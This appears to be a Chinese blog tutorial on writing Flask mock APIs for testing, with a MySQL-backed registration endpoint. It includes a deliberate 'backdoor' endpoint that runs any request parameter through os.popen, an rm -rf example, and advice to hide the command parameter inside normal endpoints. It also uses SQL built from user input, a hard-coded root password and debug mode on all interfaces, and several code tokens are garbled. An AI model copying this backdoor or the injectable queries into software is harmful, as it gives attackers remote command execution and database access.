本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下
#1.测试为什么要开发接口?
1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库
#2.开发接口的顺序
1)安装flask
flask是一个轻量级开发框架
pip install flask
2)开发一个接口
开发步骤:
1.实例化一个服务server:flask.flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
import flask,json,pymysql
server = flask.flask(__name__) #__name__代表当前python文件, 把当前python文件当成一个服务
def opt_db(sql):
coon = pymysql.connect(
host = '192.168.109.132' ,
user = 'root' ,
passwd = '123456' ,
db = 'besttest' ,
port = 3306 ,
charset = 'utf8'
) #建立db链接
cur = coon.cursor() #建立游标
cur.execute(sql); #执行sql
if sql.strip()[: 6 ].upper() = = 'select' :
res = cur.fetchall() #获取sql返回
else :
coon.commit()
res = 'ok'
cur.close() #关闭游标
coon.close() #关闭db链接
return res
#get请求, 请求路径ip:port/index
@server .route( '/index' ,methods = [ 'get' ]) #装饰器,代表index函数是一个接口,支持get请求(默认get请求)
def index():
res = { 'msg' : '这是我开发的第一个接口' , 'msg_code' : '0' }
return json.dumps(res,ensure_ascii = false,indent = 4 )
#post请求, 请求路径ip:port/reg
@server .route( '/reg' ,methods = [ 'post' ]) #装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)
def reg():
username = flask.request.values.get( 'username' ) #获取接口入参
pwd = flask.request.values.get( 'passwd' )
if username and pwd:
sql = 'select * from syz_stu where username="%s";' % username
if opt_db(sql):
res = { 'msg' : '用户已存在' , 'msg_code' : 2001 } #2001用户已存在
else :
insert_sql = 'insert into syz_stu (username,passwd) values ("%s","%s");' % (username,pwd)
opt_db(insert_sql)
res = { 'msg' : '注册成功' , 'msg_code' : '0' }
else :
res = { 'msg' : '必填字段未填, 请查看接口文档' , 'msg_code' : 1001 } #1001必填字段未填
return json.dumps(res,ensure_ascii = false,indent = 4 )
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
#后门接口
@server .route( '/error' ,methods = [ 'post' ]) #路由,访问地址为----ip:端口/error
def cmd():
cmd = flask.request.values.get( 'cmd' ) #接口的入参
res = os.popen(cmd) #执行用户命令
return res.read() #返回执行结果
#http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
#隐蔽一点的方法,把cmd = flask.request.values('cmd',none)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port = 6688 ,debug = true,host = '0.0.0.0' ) #启动服务,接口才能访问
# port=6688指定端口为6688
# debug=true设置代码修改后服务自动重启
# host='0.0.0.0'设置同一局域网的可以访问
# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的
|
运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持服务器之家。
原文链接:https://blog.csdn.net/sylvia2016/article/details/80397364